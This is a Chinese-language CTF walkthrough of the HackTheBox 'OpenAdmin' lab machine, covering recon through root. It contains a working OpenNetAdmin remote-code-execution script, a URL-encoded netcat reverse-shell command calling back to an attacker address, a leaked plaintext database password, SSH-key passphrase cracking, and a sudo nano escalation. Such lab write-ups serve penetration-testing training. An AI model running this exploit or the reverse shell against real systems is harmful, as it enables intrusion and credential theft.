Hackthebox_OpenAdmin

  • 2020 年 3 月 10 日
  • 筆記

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“OpenAdmin”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为简单级别,任务是找到靶机上的user.txt和root.txt。

攻略要点:

opennetadmin RCE getshell

jimmy ssh密码窃取 & joanna ssh密钥窃取

nano获得 root flag

信息收集:

nmap 扫出了 22 , 80 端口

查看80端口

用gobuster扫描目标url,并且发现了 artwork/ 和 music/

opennetadmin后台泄露 & RCE

发现 music/ 页面下的登录按钮跳转后台,用户为 guest

发现使用的是 opennetadmin 后台

使用searchsploit找到相关的RCE漏洞

[47691.sh](https://www.exploit-db.com/exploits/47691)

root@localhost:~/hackthebox_workspace/finish/Openadmin# cat pwn.sh  #!/bin/bash    URL="${1}"  while true;do   echo -n "$ "; read cmd   curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1  done    

Getshell:

root@localhost:~/hackthebox_workspace/finish/Openadmin# ./pwn.sh http://10.10.10.171/ona/login.php  $ pwd  /opt/ona/www

jimmy 密码泄露

发现这个 shell 只能用于当前路径

传 webshell ,并生成 nc 反弹 shell

http://10.10.10.171/ona/xxx.php?0=rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.10.xx.xxx%20xxxx%20%3E/tmp/f

拿到 shell 之后枚举用户

发现了 jimmy 和 joanna 用户

在 /opt/ona/www/local/config 文件夹下面找到明文密码

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php  cat database_settings.inc.php  <?php    $ona_contexts=array (    'DEFAULT' =>    array (      'databases' =>      array (        0 =>        array (          'db_type' => 'mysqli',          'db_host' => 'localhost',          'db_login' => 'ona_sys',          'db_passwd' => 'n1nj4W4rri0R!',          'db_database' => 'ona_default',          'db_debug' => false,        ),      ),      'description' => 'Default data context',      'context_color' => '#D3DBFF',    ),  );    ?>

ssh尝试使用密码登录 jimmy 和 joanna

发现密码的用户为 jimmy

Joanna 密钥泄露

jimmy 没有拿 user.txt 的权限,我们需要拿下 joanna 用户,在 /var/www/ 下发现了文件夹 internal 的所有者为 joanna

internal/main.php 会输出 joanna 的 ssh 私钥

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };  # Open Admin Trusted  # OpenAdmin  $output = shell_exec('cat /home/joanna/.ssh/id_rsa');  echo "<pre>$output</pre>";  ?>  <html>  <h3>Don't forget your "ninja" password</h3>  Click here to logout <a href="logout.php" tite = "Logout">Session  </html> 

查看网络服务

发现一个奇怪的服务端口为 52846

猜测为 main.php 所在的服务,并且随手访问一下,获得私钥

把私钥考到 kali 本地,ssh2john 获取哈希,再利用john 破解哈希获得密码

密码为 bloodninjas

利用私钥 ssh 登录为 joanna

得到 user.txt

sudo -l 后得到提示

用 sudo 跑 nano 编辑器可获取 root 权限

输入 ^ + R 读取 ~/root.txt

手握日月摘星辰,安全路上永不止步。

– Khan攻防安全实验室